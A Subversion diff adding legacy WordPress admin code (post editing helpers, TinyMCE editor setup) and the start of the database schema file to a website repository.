+	$meta_id = (int) $meta_id;
+
+	$data  = compact( 'meta_key', 'meta_value' );
+	$where = compact( 'meta_id' );
+
+	return $wpdb->update( $wpdb->postmeta, $data, $where );
+}
+
+//
+// Private
+//
+
+/**
+ * Replace hrefs of attachment anchors with up-to-date permalinks.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @param unknown_type $post_ID
+ * @return unknown
+ */
+function _fix_attachment_links( $post_ID ) {
+
+	$post = & get_post( $post_ID, ARRAY_A );
+
+	$search = "#<a[^>]+rel=('|\")[^'\"]*attachment[^>]*>#ie";
+
+	// See if we have any rel="attachment" links
+	if ( 0 == preg_match_all( $search, $post['post_content'], $anchor_matches, PREG_PATTERN_ORDER ) )
+		return;
+
+	$i = 0;
+	$search = "#[\s]+rel=(\"|')(.*?)wp-att-(\d+)\\1#i";
+	foreach ( $anchor_matches[0] as $anchor ) {
+		if ( 0 == preg_match( $search, $anchor, $id_matches ) )
+			continue;
+
+		$id = (int) $id_matches[3];
+
+		// While we have the attachment ID, let's adopt any orphans.
+		$attachment = & get_post( $id, ARRAY_A );
+		if ( ! empty( $attachment) && ! is_object( get_post( $attachment['post_parent'] ) ) ) {
+			$attachment['post_parent'] = $post_ID;
+			// Escape data pulled from DB.
+			$attachment = add_magic_quotes( $attachment);
+			wp_update_post( $attachment);
+		}
+
+		$post_search[$i] = $anchor;
+		$post_replace[$i] = preg_replace( "#href=(\"|')[^'\"]*\\1#e", "stripslashes( 'href=\\1' ).get_attachment_link( $id ).stripslashes( '\\1' )", $anchor );
+		++$i;
+	}
+
+	$post['post_content'] = str_replace( $post_search, $post_replace, $post['post_content'] );
+
+	// Escape data pulled from DB.
+	$post = add_magic_quotes( $post);
+
+	return wp_update_post( $post);
+}
+
+/**
+ * Move child posts to a new parent.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @param unknown_type $old_ID
+ * @param unknown_type $new_ID
+ * @return unknown
+ */
+function _relocate_children( $old_ID, $new_ID ) {
+	global $wpdb;
+	$old_ID = (int) $old_ID;
+	$new_ID = (int) $new_ID;
+	return $wpdb->update($wpdb->posts, array('post_parent' => $new_ID), array('post_parent' => $old_ID) );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $type
+ * @return unknown
+ */
+function get_available_post_statuses($type = 'post') {
+	$stati = wp_count_posts($type);
+
+	return array_keys(get_object_vars($stati));
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $q
+ * @return unknown
+ */
+function wp_edit_posts_query( $q = false ) {
+	if ( false === $q )
+		$q = $_GET;
+	$q['m']   = isset($q['m']) ? (int) $q['m'] : 0;
+	$q['cat'] = isset($q['cat']) ? (int) $q['cat'] : 0;
+	$post_stati  = array(	//	array( adj, noun )
+				'publish' => array(_x('Published', 'post'), __('Published posts'), _n_noop('Published <span class="count">(%s)</span>', 'Published <span class="count">(%s)</span>')),
+				'future' => array(_x('Scheduled', 'post'), __('Scheduled posts'), _n_noop('Scheduled <span class="count">(%s)</span>', 'Scheduled <span class="count">(%s)</span>')),
+				'pending' => array(_x('Pending Review', 'post'), __('Pending posts'), _n_noop('Pending Review <span class="count">(%s)</span>', 'Pending Review <span class="count">(%s)</span>')),
+				'draft' => array(_x('Draft', 'post'), _x('Drafts', 'manage posts header'), _n_noop('Draft <span class="count">(%s)</span>', 'Drafts <span class="count">(%s)</span>')),
+				'private' => array(_x('Private', 'post'), __('Private posts'), _n_noop('Private <span class="count">(%s)</span>', 'Private <span class="count">(%s)</span>')),
+			);
+
+	$post_stati = apply_filters('post_stati', $post_stati);
+
+	$avail_post_stati = get_available_post_statuses('post');
+
+	$post_status_q = '';
+	if ( isset($q['post_status']) && in_array( $q['post_status'], array_keys($post_stati) ) ) {
+		$post_status_q = '&post_status=' . $q['post_status'];
+		$post_status_q .= '&perm=readable';
+	}
+
+	if ( isset($q['post_status']) && 'pending' === $q['post_status'] ) {
+		$order = 'ASC';
+		$orderby = 'modified';
+	} elseif ( isset($q['post_status']) && 'draft' === $q['post_status'] ) {
+		$order = 'DESC';
+		$orderby = 'modified';
+	} else {
+		$order = 'DESC';
+		$orderby = 'date';
+	}
+
+	$posts_per_page = get_user_option('edit_per_page');
+	if ( empty($posts_per_page) )
+		$posts_per_page = 15;
+	$posts_per_page = apply_filters('edit_posts_per_page', $posts_per_page);
+
+	wp("post_type=post&$post_status_q&posts_per_page=$posts_per_page&order=$order&orderby=$orderby");
+
+	return array($post_stati, $avail_post_stati);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $type
+ * @return unknown
+ */
+function get_available_post_mime_types($type = 'attachment') {
+	global $wpdb;
+
+	$types = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_mime_type FROM $wpdb->posts WHERE post_type = %s", $type));
+	return $types;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $q
+ * @return unknown
+ */
+function wp_edit_attachments_query( $q = false ) {
+	if ( false === $q )
+		$q = $_GET;
+
+	$q['m']   = isset( $q['m'] ) ? (int) $q['m'] : 0;
+	$q['cat'] = isset( $q['cat'] ) ? (int) $q['cat'] : 0;
+	$q['post_type'] = 'attachment';
+	$q['post_status'] = 'any';
+	$media_per_page = get_user_option('upload_per_page');
+	if ( empty($media_per_page) )
+		$media_per_page = 20;
+	$q['posts_per_page'] = $media_per_page;
+	$post_mime_types = array(	//	array( adj, noun )
+				'image' => array(__('Images'), __('Manage Images'), _n_noop('Image <span class="count">(%s)</span>', 'Images <span class="count">(%s)</span>')),
+				'audio' => array(__('Audio'), __('Manage Audio'), _n_noop('Audio <span class="count">(%s)</span>', 'Audio <span class="count">(%s)</span>')),
+				'video' => array(__('Video'), __('Manage Video'), _n_noop('Video <span class="count">(%s)</span>', 'Video <span class="count">(%s)</span>')),
+			);
+	$post_mime_types = apply_filters('post_mime_types', $post_mime_types);
+
+	$avail_post_mime_types = get_available_post_mime_types('attachment');
+
+	if ( isset($q['post_mime_type']) && !array_intersect( (array) $q['post_mime_type'], array_keys($post_mime_types) ) )
+		unset($q['post_mime_type']);
+
+	wp($q);
+
+	return array($post_mime_types, $avail_post_mime_types);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @param unknown_type $page
+ * @return unknown
+ */
+function postbox_classes( $id, $page ) {
+	if ( isset( $_GET['edit'] ) && $_GET['edit'] == $id )
+		return '';
+	$current_user = wp_get_current_user();
+	if ( $closed = get_user_option('closedpostboxes_'.$page, 0, false ) ) {
+		if ( !is_array( $closed ) ) return '';
+		return in_array( $id, $closed )? 'closed' : '';
+	} else {
+		return '';
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @param unknown_type $title
+ * @param unknown_type $name
+ * @return unknown
+ */
+function get_sample_permalink($id, $title=null, $name = null) {
+	$post = &get_post($id);
+	if (!$post->ID) {
+		return array('', '');
+	}
+	$original_status = $post->post_status;
+	$original_date = $post->post_date;
+	$original_name = $post->post_name;
+
+	// Hack: get_permalink would return ugly permalink for
+	// drafts, so we will fake, that our post is published
+	if (in_array($post->post_status, array('draft', 'pending'))) {
+		$post->post_status = 'publish';
+		$post->post_name = sanitize_title($post->post_name? $post->post_name : $post->post_title, $post->ID);
+	}
+
+	$post->post_name = wp_unique_post_slug($post->post_name, $post->ID, $post->post_status, $post->post_type, $post->post_parent);
+
+	// If the user wants to set a new name -- override the current one
+	// Note: if empty name is supplied -- use the title instead, see #6072
+	if (!is_null($name)) {
+		$post->post_name = sanitize_title($name? $name : $title, $post->ID);
+	}
+
+	$post->filter = 'sample';
+
+	$permalink = get_permalink($post, true);
+
+	// Handle page hierarchy
+	if ( 'page' == $post->post_type ) {
+		$uri = get_page_uri($post->ID);
+		$uri = untrailingslashit($uri);
+		$uri = strrev( stristr( strrev( $uri ), '/' ) );
+		$uri = untrailingslashit($uri);
+		if ( !empty($uri) )
+			$uri .='/';
+		$permalink = str_replace('%pagename%', "${uri}%pagename%", $permalink);
+	}
+
+	$permalink = array($permalink, apply_filters('editable_slug', $post->post_name));
+	$post->post_status = $original_status;
+	$post->post_date = $original_date;
+	$post->post_name = $original_name;
+	unset($post->filter);
+
+	return $permalink;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @param unknown_type $new_title
+ * @param unknown_type $new_slug
+ * @return unknown
+ */
+function get_sample_permalink_html( $id, $new_title = null, $new_slug = null ) {
+	$post = &get_post($id);
+	list($permalink, $post_name) = get_sample_permalink($post->ID, $new_title, $new_slug);
+	if ( 'publish' == $post->post_status )
+		$view_post = 'post' == $post->post_type ? __('View Post') : __('View Page');
+
+	if ( false === strpos($permalink, '%postname%') && false === strpos($permalink, '%pagename%') ) {
+		$return = '<strong>' . __('Permalink:') . "</strong>\n" . '<span id="sample-permalink">' . $permalink . "</span>\n";
+		if ( current_user_can( 'manage_options' ) )
+			$return .= '<span id="change-permalinks"><a href="options-permalink.php" class="button" target="_blank">' . __('Change Permalinks') . "</a></span>\n";
+		if ( isset($view_post) )
+			$return .= "<span id='view-post-btn'><a href='$permalink' class='button' target='_blank'>$view_post</a></span>\n";
+
+		return $return;
+	}
+
+	$title = __('Click to edit this part of the permalink');
+	if (function_exists('mb_strlen')) {
+		if (mb_strlen($post_name) > 30) {
+			$post_name_abridged = mb_substr($post_name, 0, 14). '&hellip;' . mb_substr($post_name, -14);
+		} else {
+			$post_name_abridged = $post_name;
+		}
+	} else {
+		if (strlen($post_name) > 30) {
+			$post_name_abridged = substr($post_name, 0, 14). '&hellip;' . substr($post_name, -14);
+		} else {
+			$post_name_abridged = $post_name;
+		}
+	}
+
+	$post_name_html = '<span id="editable-post-name" title="' . $title . '">' . $post_name_abridged . '</span>';
+	$display_link = str_replace(array('%pagename%','%postname%'), $post_name_html, $permalink);
+	$view_link = str_replace(array('%pagename%','%postname%'), $post_name, $permalink);
+	$return = '<strong>' . __('Permalink:') . "</strong>\n" . '<span id="sample-permalink">' . $display_link . "</span>\n";
+	$return .= '<span id="edit-slug-buttons"><a href="#post_name" class="edit-slug button hide-if-no-js" onclick="edit_permalink(' . $id . '); return false;">' . __('Edit') . "</a></span>\n";
+	$return .= '<span id="editable-post-name-full">' . $post_name . "</span>\n";
+	if ( isset($view_post) )
+		$return .= "<span id='view-post-btn'><a href='$view_link' class='button' target='_blank'>$view_post</a></span>\n";
+
+	return $return;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_id
+ * @return bool|int False: not locked or locked by current user. Int: user ID of user with lock.
+ */
+function wp_check_post_lock( $post_id ) {
+	global $current_user;
+
+	if ( !$post = get_post( $post_id ) )
+		return false;
+
+	$lock = get_post_meta( $post->ID, '_edit_lock', true );
+	$last = get_post_meta( $post->ID, '_edit_last', true );
+
+	$time_window = apply_filters( 'wp_check_post_lock_window', AUTOSAVE_INTERVAL * 2 );
+
+	if ( $lock && $lock > time() - $time_window && $last != $current_user->ID )
+		return $last;
+	return false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $post_id
+ * @return unknown
+ */
+function wp_set_post_lock( $post_id ) {
+	global $current_user;
+	if ( !$post = get_post( $post_id ) )
+		return false;
+	if ( !$current_user || !$current_user->ID )
+		return false;
+
+	$now = time();
+
+	if ( !add_post_meta( $post->ID, '_edit_lock', $now, true ) )
+		update_post_meta( $post->ID, '_edit_lock', $now );
+	if ( !add_post_meta( $post->ID, '_edit_last', $current_user->ID, true ) )
+		update_post_meta( $post->ID, '_edit_last', $current_user->ID );
+}
+
+/**
+ * Creates autosave data for the specified post from $_POST data.
+ *
+ * @package WordPress
+ * @subpackage Post_Revisions
+ * @since 2.6.0
+ *
+ * @uses _wp_translate_postdata()
+ * @uses _wp_post_revision_fields()
+ */
+function wp_create_post_autosave( $post_id ) {
+	$translated = _wp_translate_postdata( true );
+	if ( is_wp_error( $translated ) )
+		return $translated;
+
+	// Only store one autosave.  If there is already an autosave, overwrite it.
+	if ( $old_autosave = wp_get_post_autosave( $post_id ) ) {
+		$new_autosave = _wp_post_revision_fields( $_POST, true );
+		$new_autosave['ID'] = $old_autosave->ID;
+		return wp_update_post( $new_autosave );
+	}
+
+	// _wp_put_post_revision() expects unescaped.
+	$_POST = stripslashes_deep($_POST);
+
+	// Otherwise create the new autosave as a special post revision
+	return _wp_put_post_revision( $_POST, true );
+}
+
+/**
+ * Save draft or manually autosave for showing preview.
+ *
+ * @package WordPress
+ * @since 2.7
+ *
+ * @uses wp_write_post()
+ * @uses edit_post()
+ * @uses get_post()
+ * @uses current_user_can()
+ * @uses wp_create_post_autosave()
+ *
+ * @return str URL to redirect to show the preview
+ */
+function post_preview() {
+
+	$post_ID = (int) $_POST['post_ID'];
+	if ( $post_ID < 1 )
+		wp_die( __('Preview not available. Please save as a draft first.') );
+
+	if ( isset($_POST['catslist']) )
+		$_POST['post_category'] = explode(",", $_POST['catslist']);
+
+	if ( isset($_POST['tags_input']) )
+		$_POST['tags_input'] = explode(",", $_POST['tags_input']);
+
+	if ( $_POST['post_type'] == 'page' || empty($_POST['post_category']) )
+		unset($_POST['post_category']);
+
+	$_POST['ID'] = $post_ID;
+	$post = get_post($post_ID);
+
+	if ( 'page' == $post->post_type ) {
+		if ( !current_user_can('edit_page', $post_ID) )
+			wp_die(__('You are not allowed to edit this page.'));
+	} else {
+		if ( !current_user_can('edit_post', $post_ID) )
+			wp_die(__('You are not allowed to edit this post.'));
+	}
+
+	if ( 'draft' == $post->post_status ) {
+		$id = edit_post();
+	} else { // Non drafts are not overwritten.  The autosave is stored in a special post revision.
+		$id = wp_create_post_autosave( $post->ID );
+		if ( ! is_wp_error($id) )
+			$id = $post->ID;
+	}
+
+	if ( is_wp_error($id) )
+		wp_die( $id->get_error_message() );
+
+	if ( $_POST['post_status'] == 'draft'  ) {
+		$url = add_query_arg( 'preview', 'true', get_permalink($id) );
+	} else {
+		$nonce = wp_create_nonce('post_preview_' . $id);
+		$url = add_query_arg( array( 'preview' => 'true', 'preview_id' => $id, 'preview_nonce' => $nonce ), get_permalink($id) );
+	}
+
+	return $url;
+}
+
+/**
+ * Adds the TinyMCE editor used on the Write and Edit screens.
+ *
+ * @package WordPress
+ * @since 2.7
+ *
+ * TinyMCE is loaded separately from other Javascript by using wp-tinymce.php. It outputs concatenated
+ * and optionaly pre-compressed version of the core and all default plugins. Additional plugins are loaded
+ * directly by TinyMCE using non-blocking method. Custom plugins can be refreshed by adding a query string
+ * to the URL when queueing them with the mce_external_plugins filter.
+ *
+ * @param bool $teeny optional Output a trimmed down version used in Press This.
+ */
+function wp_tiny_mce( $teeny = false ) {
+	global $concatenate_scripts, $compress_scripts, $tinymce_version;
+
+	if ( ! user_can_richedit() )
+		return;
+
+	$baseurl = includes_url('js/tinymce');
+
+	$mce_locale = ( '' == get_locale() ) ? 'en' : strtolower( substr(get_locale(), 0, 2) ); // only ISO 639-1
+
+	/*
+	The following filter allows localization scripts to change the languages displayed in the spellchecker's drop-down menu.
+	By default it uses Google's spellchecker API, but can be configured to use PSpell/ASpell if installed on the server.
+	The + sign marks the default language. More information:
+	http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker
+	*/
+	$mce_spellchecker_languages = apply_filters('mce_spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv');
+
+	if ( $teeny ) {
+		$plugins = apply_filters( 'teeny_mce_plugins', array('safari', 'inlinepopups', 'media', 'autosave', 'fullscreen') );
+		$ext_plugins = '';
+	} else {
+		$plugins = array( 'safari', 'inlinepopups', 'spellchecker', 'paste', 'wordpress', 'media', 'fullscreen', 'wpeditimage', 'wpgallery', 'tabfocus' );
+
+		/*
+		The following filter takes an associative array of external plugins for TinyMCE in the form 'plugin_name' => 'url'.
+		It adds the plugin's name to TinyMCE's plugins init and the call to PluginManager to load the plugin.
+		The url should be absolute and should include the js file name to be loaded. Example:
+		array( 'myplugin' => 'http://my-site.com/wp-content/plugins/myfolder/mce_plugin.js' )
+		If the plugin uses a button, it should be added with one of the "$mce_buttons" filters.
+		*/
+		$mce_external_plugins = apply_filters('mce_external_plugins', array());
+
+		$ext_plugins = '';
+		if ( ! empty($mce_external_plugins) ) {
+
+			/*
+			The following filter loads external language files for TinyMCE plugins.
+			It takes an associative array 'plugin_name' => 'path', where path is the
+			include path to the file. The language file should follow the same format as
+			/tinymce/langs/wp-langs.php and should define a variable $strings that
+			holds all translated strings.
+			When this filter is not used, the function will try to load {mce_locale}.js.
+			If that is not found, en.js will be tried next.
+			*/
+			$mce_external_languages = apply_filters('mce_external_languages', array());
+
+			$loaded_langs = array();
+			$strings = '';
+
+			if ( ! empty($mce_external_languages) ) {
+				foreach ( $mce_external_languages as $name => $path ) {
+					if ( @is_file($path) && @is_readable($path) ) {
+						include_once($path);
+						$ext_plugins .= $strings . "\n";
+						$loaded_langs[] = $name;
+					}
+				}
+			}
+
+			foreach ( $mce_external_plugins as $name => $url ) {
+
+				if ( is_ssl() ) $url = str_replace('http://', 'https://', $url);
+
+				$plugins[] = '-' . $name;
+
+				$plugurl = dirname($url);
+				$strings = $str1 = $str2 = '';
+				if ( ! in_array($name, $loaded_langs) ) {
+					$path = str_replace( WP_PLUGIN_URL, '', $plugurl );
+					$path = WP_PLUGIN_DIR . $path . '/langs/';
+
+					if ( function_exists('realpath') )
+						$path = trailingslashit( realpath($path) );
+
+					if ( @is_file($path . $mce_locale . '.js') )
+						$strings .= @file_get_contents($path . $mce_locale . '.js') . "\n";
+
+					if ( @is_file($path . $mce_locale . '_dlg.js') )
+						$strings .= @file_get_contents($path . $mce_locale . '_dlg.js') . "\n";
+
+					if ( 'en' != $mce_locale && empty($strings) ) {
+						if ( @is_file($path . 'en.js') ) {
+							$str1 = @file_get_contents($path . 'en.js');
+							$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str1, 1 ) . "\n";
+						}
+
+						if ( @is_file($path . 'en_dlg.js') ) {
+							$str2 = @file_get_contents($path . 'en_dlg.js');
+							$strings .= preg_replace( '/([\'"])en\./', '$1' . $mce_locale . '.', $str2, 1 ) . "\n";
+						}
+					}
+
+					if ( ! empty($strings) )
+						$ext_plugins .= "\n" . $strings . "\n";
+				}
+
+				$ext_plugins .= 'tinyMCEPreInit.load_ext("' . $plugurl . '", "' . $mce_locale . '");' . "\n";
+				$ext_plugins .= 'tinymce.PluginManager.load("' . $name . '", "' . $url . '");' . "\n";
+			}
+		}
+	}
+
+	$plugins = implode($plugins, ',');
+
+	if ( $teeny ) {
+		$mce_buttons = apply_filters( 'teeny_mce_buttons', array('bold, italic, underline, blockquote, separator, strikethrough, bullist, numlist,justifyleft, justifycenter, justifyright, undo, redo, link, unlink, fullscreen') );
+		$mce_buttons = implode($mce_buttons, ',');
+		$mce_buttons_2 = $mce_buttons_3 = $mce_buttons_4 = '';
+	} else {
+		$mce_buttons = apply_filters('mce_buttons', array('bold', 'italic', 'strikethrough', '|', 'bullist', 'numlist', 'blockquote', '|', 'justifyleft', 'justifycenter', 'justifyright', '|', 'link', 'unlink', 'wp_more', '|', 'spellchecker', 'fullscreen', 'wp_adv' ));
+		$mce_buttons = implode($mce_buttons, ',');
+
+		$mce_buttons_2 = apply_filters('mce_buttons_2', array('formatselect', 'underline', 'justifyfull', 'forecolor', '|', 'pastetext', 'pasteword', 'removeformat', '|', 'media', 'charmap', '|', 'outdent', 'indent', '|', 'undo', 'redo', 'wp_help' ));
+		$mce_buttons_2 = implode($mce_buttons_2, ',');
+
+		$mce_buttons_3 = apply_filters('mce_buttons_3', array());
+		$mce_buttons_3 = implode($mce_buttons_3, ',');
+
+		$mce_buttons_4 = apply_filters('mce_buttons_4', array());
+		$mce_buttons_4 = implode($mce_buttons_4, ',');
+	}
+	$no_captions = ( apply_filters( 'disable_captions', '' ) ) ? true : false;
+
+	// TinyMCE init settings
+	$initArray = array (
+		'mode' => 'specific_textareas',
+		'editor_selector' => 'theEditor',
+		'width' => '100%',
+		'theme' => 'advanced',
+		'skin' => 'wp_theme',
+		'theme_advanced_buttons1' => "$mce_buttons",
+		'theme_advanced_buttons2' => "$mce_buttons_2",
+		'theme_advanced_buttons3' => "$mce_buttons_3",
+		'theme_advanced_buttons4' => "$mce_buttons_4",
+		'language' => "$mce_locale",
+		'spellchecker_languages' => "$mce_spellchecker_languages",
+		'theme_advanced_toolbar_location' => 'top',
+		'theme_advanced_toolbar_align' => 'left',
+		'theme_advanced_statusbar_location' => 'bottom',
+		'theme_advanced_resizing' => true,
+		'theme_advanced_resize_horizontal' => false,
+		'dialog_type' => 'modal',
+		'relative_urls' => false,
+		'remove_script_host' => false,
+		'convert_urls' => false,
+		'apply_source_formatting' => false,
+		'remove_linebreaks' => true,
+		'gecko_spellcheck' => true,
+		'entities' => '38,amp,60,lt,62,gt',
+		'accessibility_focus' => true,
+		'tabfocus_elements' => 'major-publishing-actions',
+		'media_strict' => false,
+		'save_callback' => 'switchEditors.saveCallback',
+		'wpeditimage_disable_captions' => $no_captions,
+		'plugins' => "$plugins"
+	);
+
+	$mce_css = trim(apply_filters('mce_css', ''), ' ,');
+
+	if ( ! empty($mce_css) )
+		$initArray['content_css'] = "$mce_css";
+
+	// For people who really REALLY know what they're doing with TinyMCE
+	// You can modify initArray to add, remove, change elements of the config before tinyMCE.init
+	// Setting "valid_elements", "invalid_elements" and "extended_valid_elements" can be done through "tiny_mce_before_init".
+	// Best is to use the default cleanup by not specifying valid_elements, as TinyMCE contains full set of XHTML 1.0.
+	if ( $teeny ) {
+		$initArray = apply_filters('teeny_mce_before_init', $initArray);
+	} else {
+		$initArray = apply_filters('tiny_mce_before_init', $initArray);
+	}
+
+	if ( empty($initArray['theme_advanced_buttons3']) && !empty($initArray['theme_advanced_buttons4']) ) {
+		$initArray['theme_advanced_buttons3'] = $initArray['theme_advanced_buttons4'];
+		$initArray['theme_advanced_buttons4'] = '';
+	}
+
+	if ( ! isset($concatenate_scripts) )
+		script_concat_settings();
+
+	$language = $initArray['language'];
+	$zip = $compress_scripts ? 1 : 0;
+
+	/**
+	 * Deprecated
+	 *
+	 * The tiny_mce_version filter is not needed since external plugins are loaded directly by TinyMCE.
+	 * These plugins can be refreshed by appending query string to the URL passed to mce_external_plugins filter.
+	 * If the plugin has a popup dialog, a query string can be added to the button action that opens it (in the plugin's code).
+	 */
+	$version = apply_filters('tiny_mce_version', '');
+	$version = 'ver=' . $tinymce_version . $version;
+
+	if ( 'en' != $language )
+		include_once(ABSPATH . WPINC . '/js/tinymce/langs/wp-langs.php');
+
+	$mce_options = '';
+	foreach ( $initArray as $k => $v )
+	    $mce_options .= $k . ':"' . $v . '", ';
+
+	$mce_options = rtrim( trim($mce_options), '\n\r,' ); ?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+tinyMCEPreInit = {
+	base : "<?php echo $baseurl; ?>",
+	suffix : "",
+	query : "<?php echo $version; ?>",
+	mceInit : {<?php echo $mce_options; ?>},
+	load_ext : function(url,lang){var sl=tinymce.ScriptLoader;sl.markDone(url+'/langs/'+lang+'.js');sl.markDone(url+'/langs/'+lang+'_dlg.js');}
+};
+/* ]]> */
+</script>
+
+<?php
+	if ( $concatenate_scripts )
+		echo "<script type='text/javascript' src='$baseurl/wp-tinymce.php?c=$zip&amp;$version'></script>\n";
+	else
+		echo "<script type='text/javascript' src='$baseurl/tiny_mce.js?$version'></script>\n";
+
+	if ( 'en' != $language && isset($lang) )
+		echo "<script type='text/javascript'>\n$lang\n</script>\n";
+	else
+		echo "<script type='text/javascript' src='$baseurl/langs/wp-langs-en.js?$version'></script>\n";
+?>
+
+<script type="text/javascript">
+/* <![CDATA[ */
+<?php if ( $ext_plugins ) echo "$ext_plugins\n"; ?>
+<?php if ( $concatenate_scripts ) { ?>
+tinyMCEPreInit.go();
+<?php } else { ?>
+(function(){var t=tinyMCEPreInit,sl=tinymce.ScriptLoader,ln=t.mceInit.language,th=t.mceInit.theme,pl=t.mceInit.plugins;sl.markDone(t.base+'/langs/'+ln+'.js');sl.markDone(t.base+'/themes/'+th+'/langs/'+ln+'.js');sl.markDone(t.base+'/themes/'+th+'/langs/'+ln+'_dlg.js');tinymce.each(pl.split(','),function(n){if(n&&n.charAt(0)!='-'){sl.markDone(t.base+'/plugins/'+n+'/langs/'+ln+'.js');sl.markDone(t.base+'/plugins/'+n+'/langs/'+ln+'_dlg.js');}});})();
+<?php } ?>
+tinyMCE.init(tinyMCEPreInit.mceInit);
+/* ]]> */
+</script>
+<?php
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/schema.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/schema.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/schema.php	(revision 44)
@@ -0,0 +1,581 @@
+<?php
+/**
+ * WordPress Administration Scheme API
+ *
+ * Here we keep the DB structure and option values.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * The database character collate.
+ * @var string
+ * @global string
+ * @name $charset_collate
+ */
+$charset_collate = '';
+
+// Declare these as global in case schema.php is included from a function.
+global $wpdb, $wp_queries;
+
+if ( $wpdb->has_cap( 'collation' ) ) {
+	if ( ! empty($wpdb->charset) )
+		$charset_collate = "DEFAULT CHARACTER SET $wpdb->charset";
+	if ( ! empty($wpdb->collate) )
+		$charset_collate .= " COLLATE $wpdb->collate";
+}
+
+/** Create WordPress database tables SQL */
+$wp_queries = "CREATE TABLE $wpdb->terms (
+ term_id bigint(20) unsigned NOT NULL auto_increment,
+ name varchar(200) NOT NULL default '',
+ slug varchar(200) NOT NULL default '',
+ term_group bigint(10) NOT NULL default 0,
+ PRIMARY KEY  (term_id),
+ UNIQUE KEY slug (slug),
+ KEY name (name)
+) $charset_collate;
+CREATE TABLE $wpdb->term_taxonomy (
+ term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
+ term_id bigint(20) unsigned NOT NULL default 0,
+ taxonomy varchar(32) NOT NULL default '',
+ description longtext NOT NULL,
+ parent bigint(20) unsigned NOT NULL default 0,
+ count bigint(20) NOT NULL default 0,
+ PRIMARY KEY  (term_taxonomy_id),
+ UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
+ KEY taxonomy (taxonomy)
+) $charset_collate;
+CREATE TABLE $wpdb->term_relationships (
+ object_id bigint(20) unsigned NOT NULL default 0,
+ term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
+ term_order int(11) NOT NULL default 0,
+ PRIMARY KEY  (object_id,term_taxonomy_id),
+ KEY term_taxonomy_id (term_taxonomy_id)
+) $charset_collate;
+CREATE TABLE $wpdb->comments (
+  comment_ID bigint(20) unsigned NOT NULL auto_increment,
+  comment_post_ID bigint(20) unsigned NOT NULL default '0',
+  comment_author tinytext NOT NULL,
+  comment_author_email varchar(100) NOT NULL default '',
+  comment_author_url varchar(200) NOT NULL default '',
+  comment_author_IP varchar(100) NOT NULL default '',
+  comment_date datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  comment_content text NOT NULL,
+  comment_karma int(11) NOT NULL default '0',
+  comment_approved varchar(20) NOT NULL default '1',
+  comment_agent varchar(255) NOT NULL default '',
+  comment_type varchar(20) NOT NULL default '',
+  comment_parent bigint(20) unsigned NOT NULL default '0',
+  user_id bigint(20) unsigned NOT NULL default '0',
+  PRIMARY KEY  (comment_ID),
+  KEY comment_approved (comment_approved),
+  KEY comment_post_ID (comment_post_ID),
+  KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
+  KEY comment_date_gmt (comment_date_gmt)
+) $charset_collate;
+CREATE TABLE $wpdb->links (
+  link_id bigint(20) unsigned NOT NULL auto_increment,
+  link_url varchar(255) NOT NULL default '',
+  link_name varchar(255) NOT NULL default '',
+  link_image varchar(255) NOT NULL default '',
+  link_target varchar(25) NOT NULL default '',
+  link_description varchar(255) NOT NULL default '',
+  link_visible varchar(20) NOT NULL default 'Y',
+  link_owner bigint(20) unsigned NOT NULL default '1',
+  link_rating int(11) NOT NULL default '0',
+  link_updated datetime NOT NULL default '0000-00-00 00:00:00',
+  link_rel varchar(255) NOT NULL default '',
+  link_notes mediumtext NOT NULL,
+  link_rss varchar(255) NOT NULL default '',
+  PRIMARY KEY  (link_id),
+  KEY link_visible (link_visible)
+) $charset_collate;
+CREATE TABLE $wpdb->options (
+  option_id bigint(20) unsigned NOT NULL auto_increment,
+  blog_id int(11) NOT NULL default '0',
+  option_name varchar(64) NOT NULL default '',
+  option_value longtext NOT NULL,
+  autoload varchar(20) NOT NULL default 'yes',
+  PRIMARY KEY  (option_id,blog_id,option_name),
+  KEY option_name (option_name)
+) $charset_collate;
+CREATE TABLE $wpdb->postmeta (
+  meta_id bigint(20) unsigned NOT NULL auto_increment,
+  post_id bigint(20) unsigned NOT NULL default '0',
+  meta_key varchar(255) default NULL,
+  meta_value longtext,
+  PRIMARY KEY  (meta_id),
+  KEY post_id (post_id),
+  KEY meta_key (meta_key)
+) $charset_collate;
+CREATE TABLE $wpdb->posts (
+  ID bigint(20) unsigned NOT NULL auto_increment,
+  post_author bigint(20) unsigned NOT NULL default '0',
+  post_date datetime NOT NULL default '0000-00-00 00:00:00',
+  post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
+  post_content longtext NOT NULL,
+  post_title text NOT NULL,
